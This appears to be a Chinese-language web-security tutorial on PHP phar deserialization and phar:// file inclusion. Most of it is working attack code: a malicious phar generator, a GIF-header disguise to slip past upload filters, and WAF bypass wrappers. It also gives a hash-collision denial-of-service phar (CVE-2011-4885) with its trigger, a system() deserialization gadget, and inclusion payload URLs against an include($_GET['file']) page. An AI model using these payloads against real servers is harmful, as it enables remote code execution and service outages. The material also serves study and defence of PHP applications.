Phar的文件包含与反序列化

反序列化

参考

利用条件

  • phar文件要能够上传到服务器端。
  • 存在__destruct,__wakeup魔术方法作为跳板
  • 存在相关函数函数,并且参数可控,:/phar等特殊字符没有被过滤。

受影响的函数列表

对于函数影响范围的深入追求参看zsx师傅的文章,简单如下:

  • exif (exif_thumbnail、exif_imagetype)
  • gd (imageloadfont、imagecreatefrom..)
  • hash (hash_hmac_file、hash_file、hash_update_file、md5_file、sha1_file)
  • file/url (get_meta_tags、get_headers)
  • standard (getimagesize、getimagesizefromstring)
  • zip
    $zip = new ZipArchive();
    $res = $zip->open('c.zip');
    $zip->extractTo('phar://test.phar/test');
    
  • Postgres
    <?php
    $pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
    @$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
    
  • MySQL (要设置local-infile=1、secure_file_priv="",因为是非默认设置)
    <?php
    class A {
      public $s = '';
      public function __wakeup () {
          system($this->s);
      }
    }
    $m = mysqli_init();
    mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
    $s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
    $p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');
    

利用

一、生成恶意phar代码

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php phpinfo();__HALT_COMPILER();?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

其中xxx<?php xxx; __HALT_COMPILER();?>是phar文件的stub,可用理解为一个身份id。其中stub的内容必须以__HALT_COMPILER();?>结尾,否则phar扩展将无法识别这个文件为phar文件。具体参考seebug的文章。

二、phar反序列化已构造的恶意php文件

<?php 
    class TestObject {
        public function __wakeup() {
            echo 'Destruct wakeup';
        }
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

Bypass

如果waf过滤了phar://,则可以使用:

compress.bzip2://phar://
compress.zlib://

伪造为其他类型的文件

phar文件可通过添加幻术伪造为其他类型的文件

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

拒绝服务攻击

PHP内核哈希表碰撞攻击

进行拒绝服务攻击(PHP内核哈希表碰撞攻击(CVE-2011-4885))

<?php
set_time_limit(0);
$size= pow(2, 16);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
    $array[$key] = 0;
}
$new_obj = new stdClass;
$new_obj->hacker = $array;
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['hacker.php'] = '<?php ?>';
$p->setMetadata($new_obj);
$p->setStub('GIF<?php __HALT_COMPILER();?>');

反序列化上文生成的恶意文件

<?php
set_time_limit(0);
$startTime = microtime(true);
file_exists("phar://avatar.phar");
$endTime = microtime(true);
echo '执行时间:  '.($endTime - $startTime). ' 秒';

文件包含

利用范围

  • PHP 5 >= 5.3.0、 PECL phar >= 1.0.0
  • PHP 7、 PECL phar >= 1.0.0

参考

利用

index.php

<?php
include($_GET['file']);
?>

shell.txt

<?php phpinfo() ?>

把sehll.txt压缩成test.zip文件

可用以下姿势进行包含

index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/shell.txt   //绝对路径
index.php?file=phar://test.zip/shell.txt   //相对路径

results matching ""

    No results matching ""